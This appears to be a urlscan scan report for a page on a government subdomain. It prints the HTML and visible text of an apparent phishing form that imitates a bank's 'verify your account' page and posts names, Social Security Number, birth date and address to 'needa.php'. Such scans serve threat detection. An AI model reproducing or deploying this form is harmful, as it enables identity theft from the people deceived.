kelurahanandir.bandungkab.go.id Open in urlscan Pro
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Form analysis
1 forms found in the DOM

POST needa.php

<form action="needa.php" class="js-form js-verifyAccountForm" method="post" id="form">
  <section class="grid-x grid-padding-x __spacer-form grid-x__padded">
    <div class="cell">
      <!-- page title -->
      <div class="mtb-section-header mtb-section-header--top">
        <h1> Verify your account information </h1>
        <p> Enter your account details below to verify your identity. </p>
      </div>
    </div>
    <div class="cell">
      <div class="expanded button-group button-group__toggle">
      </div>
    </div>
    <div class="cell hide" data-showfor="BusinessAccount">
      <h2 class="mtb-form__section-title hide" data-showfor="BusinessAccount"> Company Administrator Information <button tabindex="0" type="button"
          class="m-icon m-icon-questionmarkcircle __contextual-help mtb-help m-icon-questionmarkcircle js-modal-trigger" aria-haspopup="true" aria-controls="reveal-basic" data-ensightentag="CompanyAdministratorInfoQuestionIcon"
          data-open="companyadmin-modal">
          <span class="show-for-sr">Show Help</span>
        </button>
      </h2>
    </div>
    <div data-parentfor="FirstName" class="cell js-formFieldParent " data-showfor="BusinessAccount">
      <label for="FirstName">First Name</label>
      <input data-fcid="" value="" maxlength="20" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="letters" placeholder="" type="text" id="FirstName" name="fname" data-inputtype="text" required="">
      <p class="form-error" id="FirstNameError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="LastName" class="cell js-formFieldParent " data-showfor="BusinessAccount">
      <label for="LastName">Last Name</label>
      <input data-fcid="" value="" maxlength="20" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbersletters" placeholder="" type="text" id="LastName" name="lname" data-inputtype="text" required="">
      <p class="form-error" id="LastNameError" role="alert"></p>
      <p class="form-help-text"></p>
      <label for="SSN">Social Security Number</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="●●●-●●-●●●●">
        <input data-fcid="" value="" maxlength="9" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="000-00-0000" data-inputtype="tel"
          class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus" type="tel" id="SSN" name="ssn" required="">
      </div>
    </div>
    <p class="form-error" id="SSNError" role="alert"></p>
    <div data-parentfor="DateOfBirth" class="cell js-formFieldParent " data-showfor="BusinessCreditCard,RetailCreditCard,BusinessAccount,RetailAccount" data-formattype="date">
      <label for="DateOfBirth">Date of Birth</label>
      <input data-fcid="" value="" maxlength="10" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="MM/DD/YYYY" type="date" id="DateOfBirth" name="dob" data-inputtype="tel" required="">
      <p class="form-error" id="DateOfBirthError" role="alert"></p>
      <p class="form-help-text"></p>
      <div data-parentfor="AccountNumber" class="cell js-formFieldParent " data-formattype="">
        <label for="AccountNumber">Address</label>
        <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
          <input data-fcid="" value="" maxlength="20" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" data-inputtype="tel"
            class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear" type="tel" id="AccountNumber" name="addr" required="">
        </div>
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
      <div data-parentfor="City" class="cell js-formFieldParent " data-showfor="BusinessAccount">
        <label for="City">City</label>
        <input data-fcid="" value="" maxlength="15" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbersletters" placeholder="" type="text" id="City" name="city" data-inputtype="text" required="">
        <p class="form-error" id="CityError" role="alert"></p>
        <p class="form-help-text"></p>
        <div data-parentfor="State" class="cell js-formFieldParent " data-showfor="BusinessAccount">
          <label for="Sate">State</label>
          <input data-fcid="" value="" maxlength="15" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbersletters" placeholder="" type="text" id="State" name="state" data-inputtype="text" required="">
          <p class="form-error" id="StateError" role="alert"></p>
          <p class="form-help-text"></p>
          <div data-parentfor="Zip" class="cell js-formFieldParent " data-showfor="BusinessAccount">
            <label for="Zip">Zip Code</label>
            <input data-fcid="" value="" maxlength="15" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbersletters" placeholder="" type="text" id="Zip" name="zip" data-inputtype="text" required="">
            <p class="form-error" id="ZipError" role="alert"></p>
            <p class="form-help-text"></p>
          </div>
          <button type="submit" class="button button__form-no-spacer expanded" id="btnSubmit">Continue</button>
        </div>
      </div>
    </div>
  </section>
</form>

Text Content

Exit



VERIFY YOUR ACCOUNT INFORMATION

Enter your account details below to verify your identity.




COMPANY ADMINISTRATOR INFORMATION SHOW HELP

First Name





Last Name





Social Security Number




Date of Birth





Address






City





State





Zip Code





Continue



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